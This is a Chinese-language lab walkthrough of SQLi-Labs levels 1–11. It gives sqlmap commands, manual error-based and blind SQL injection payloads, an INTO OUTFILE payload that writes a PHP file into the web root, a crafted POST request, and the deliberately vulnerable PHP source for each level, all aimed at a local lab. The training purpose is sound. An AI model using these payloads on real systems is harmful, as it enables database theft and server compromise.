zoukankan      html  css  js  c++  java
  • 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】

    人员流动性过大一直是乙方公司痛点。虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索。期望看相关文档就可以一蹴而是不现实的。而按部就班的学习又很难短期内将知识有效运用到工作中。

    工作中的学习需要明确目的,制定目标然后定制各个阶段的任务。 例如SQL注入学习可以把目标分化为漏洞验证、漏洞利用,从熟悉工具和原理入手之后不断的深入提升。然后再考虑漏洞修复。

    本文用SQLi-Labs作为测试环境,对学习SQL注入按利用工具、手工测试做粗浅总结;

    一、环境介绍

    SQLi-Labs 是一个专业的SQL注入练习平台

    下面的测试场景都支持GET和POST两种注入方式:

    1.报错注入(联合查询) 
    1)字符型 
    2)数字型 
    2.报错注入(基于二次注入) 
    3.盲注 
    1)基于布尔值 
    2)基于时间 
    4.UPDATE型注入练习 
    5.INSERT型注入练

    1. HTTP头部注入 
      1)基于Referer 
      2)基于UserAgent 
      3)基于Cookie
    2. 二次排序注入练习

    二、工具准备

    1、SQLMAPSQL注入工具
    2、BURPSUITE:监控每一次请求包的HTTP状态
    3、Seay源代码审计系统插件:Mysql监控
    4、编码转换:
    1http://www.107000.com/T-Hex/
    2python自带:print "hex数值".decode("hex")

    三、环境搭建

    phpstudy开启mysql日志、apache日志
    windows 7设置目录为完全控制;
    源码地址:SQLi-Labs
    https://github.com/Audi-1/sqli-labs

    TIPS:为了更清楚的摸索架构,MYSQL中我又新建了数据库[the_flag_db]、数据表[the_flag_table]、数据内容[flags{Hello,Iamflags]; 
    建表语句

    SET FOREIGN_KEY_CHECKS=0;
     
    -- ----------------------------
    -- Table structure for `the_flag_table`
    -- ----------------------------
    DROP TABLE IF EXISTS `the_flag_table`;
    CREATE TABLE `the_flag_table` (
    `the_flag_content` varchar(20) DEFAULT NULL,
    `the_value123456` int(20) DEFAULT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=gbk;
     
    -- ----------------------------
    -- Records of the_flag_table
    -- ----------------------------
    INSERT INTO `the_flag_table` VALUES ('flags{Hello,Iamflags', '1');
    INSERT INTO `the_flag_table` VALUES ('flags2(hello,test)', '2');
     
    -- ----------------------------
    -- Table structure for `the_test`
    -- ----------------------------
    DROP TABLE IF EXISTS `the_test`;
    CREATE TABLE `the_test` (
    `test` int(5) DEFAULT NULL
    ) ENGINE=MyISAM DEFAULT CHARSET=gbk;
     
    -- ----------------------------
    -- Records of the_test
    -- ----------------------------

    四、学习目的

    学习SQLMAP封装的注入语句原理

    • 提炼测试语句
    • 熟悉sqlmap内部封装的Mysql注入语句

    学习php代码注入漏洞的闭合形式

    • 熟悉sql注入产生的字段
    • 漏洞验证(工具+手工)

    五、基础知识

    漏洞验证 

    当前数据库名 
    sqlmap -u “http://vul.com/vultest.php?id=1” –current-db 
    

     
    漏洞利用 

    数据库枚举 
    sqlmap -u “http://vul.com/vultest.php?id=1” –dbs 
    数据库内容 
    sqlmap -u “http://vul.com/vultest.php?id=1” -D,-T,-C,–dump-alll 
    盲注手法 
    sqlmap -u “http://vul.com/vultest.php?id=1” –technique BST 
    自动选择 
    sqlmap -u “http://vul.com/vultest.php?id=1” –batch
    

    常用选项

    sqlmap -u “http://vul.com/vultest.php?id=1” --current-db --technique BST --batch

    SQL基础

    SQL功能操作符
    数据定义 CREATE、DROP、ALTER
    数据查询 SELECT
    数据操纵 INSERT、UPDATE、DELETE
    数据控制 GRANT、REVOKE、DENY
    事务控制 BEGIN、COMMIT、ROLLBACK
    嵌入型/服务器端编程 DECLARE、EXPLAIN、OPEN、FETCH、CLOSE、PREPARE、EXECUTE、DESCRIBE
    参考了WOOYUN中注入方式的文章链接:
    >【利用insert,update和delete注入获取数据】

    六、关卡学习

    这几关是GET形式的注入

    • Less-1 Error Based- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1" --current-db
    

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,updatexml(1,concat(0x7e,(select database())),1),3-- -
    

    3)注入点产生代码

    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-2 Error Based- Intiger

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=2" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=1 and 1=2 union select 1,2,updatexml(1,concat(0x7e,database()),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
     
    // connectivity
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-3 Error Based- String (with Twist)

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1') and 1=2 UNION SELECT 1,2,updatexml(1,concat(0x7e,database()),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-4 Error Based- DoubleQuotes String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1") and 1=2 union select 1,2,updatexml(1,concat(0x7e,(select database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-5 Double Query- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1' union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
     
    if($row)
    {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
    }
    else
    {
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}
    • Less-6 Double Query- Double Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" and 1=2 union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-7 Dump into Outfile

    1)工具用法:

    《漏洞验证》
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=1" --current-db --threads 10 --batch --technique BES
    《文件导出》
    这关用sqlmap没有成功.

    2)手工注入 
    经验:这关是练习的文件的写入,使用函数into outfile,导出shell总是失败,查看mysql日志看出原来是因为少了个**)**号,sqlmap语句闭合不正确无法导出文件,闭合就可以了;

    http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=
    1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\phpStudyx64\WWW\hacker\sqli-labs-master\Less-7\union2.php"-- -

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-8 Blind- Boolian- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-8/index.php?id=1" --current-db --threads 10 --batch --technique BES

    2)手工注入

    less8的注入点不显示错误信息; 
    数据库执行sql语句返回为真时:返回You are in………..,为假时不返回信息,知识点在考察盲注,所谓盲注也就是我们可以换中提问方式,数据库只需回答真或假。比如我们可以问当前数据库的第一个之母为m吗?数据库回答是这里则返回You are in………..,不是则不返回。 
    相关知识点:

    涉及函数函数功能
    ORD() 返回字符串第一个字符的 ASCII 值。
    MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
    char_length() 不管汉字还是数字或者是字母都算是一个字符。

    截取SQLMAP测试语句

    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>51 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>54 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>56 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>55 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>51 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>48 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>1 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96 AND 'adpz'='adpz
    ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96 AND 'adpz'='adpz

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-9 Blind- Time based- Single Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

    2)手工注入 
    相关知识点:考察时间盲注知识;

    涉及函数函数功能
    ORD() 返回字符串第一个字符的 ASCII 值。
    MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
    sleep() 适用 MySQL 5,延时时间执行。
    BENCHMARK() 适用 MySQL 4/5 ,延时时间执行。

    截取SQLMAP测试语句

    ID:1' AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1,0,2)))))cCsF) AND 'JQMs'='JQMs

    3)注入点产生代码

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
     
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    • Less-10 Blind- Time based- Double Quotes- String

    1)工具用法:

    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

    2)手工注入

    Less-9类似,也是基于时间的盲注,只不过需要 " 来闭合。

    3)注入点产生代码

    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."
    ");
    fclose($fp);
     
    // connectivity
     
    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    SQLMAP 工具技巧
    • Less-9&Less-10 
      想要用SQLMAP测试实际的时间盲注语句,可以用下面的这条命令;
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" -D the_flag_db -T the_flag_table -C the_flag_content --dump --level 5 --risk 3 --technique T

     

    这几关是POST形式的注入

    • Less-11 - POST - Error Based - Single quotes - String

    1)工具用法:

    SQLMAP POST注入用法之一,注入点处加 * 号,也可以用-r选项。
    sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-11/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

    2)手工注入

    这里用了burpsuite的repeater模块,在用户名处产生。用报错语句可以很快拿出数据,POST型注入用工具跑得好久。。。

    POST /hacker/sqli-labs-master/Less-11/index.php?id=1 HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 89
     
    uname=111' or 1=((updatexml(1,concat(0x7e,(database())),1)))-- -&passwd=111&submit=Submit

    3)注入点产生代码

    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    {
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];
     
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname);
    fwrite($fp,'Password:'.$passwd."
    ");
    fclose($fp);
     
     
    // connectivity
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
  • 相关阅读:
    flash不保存在IE缓存中
    pv 3d
    ASP.NET优化
    根据文件名判断文件扩展名 和 根据流真正判断文件类型的关键函数
    as3.0
    编码
    AS3中Event的target和currentTarget
    显示用户IP来源的代码
    启用IIS的Gzip压缩功能
    Css之多个子元素水平平均分布——flex布局法
  • 原文地址:https://www.cnblogs.com/17bdw/p/5516876.html
Copyright © 2011-2022 走看看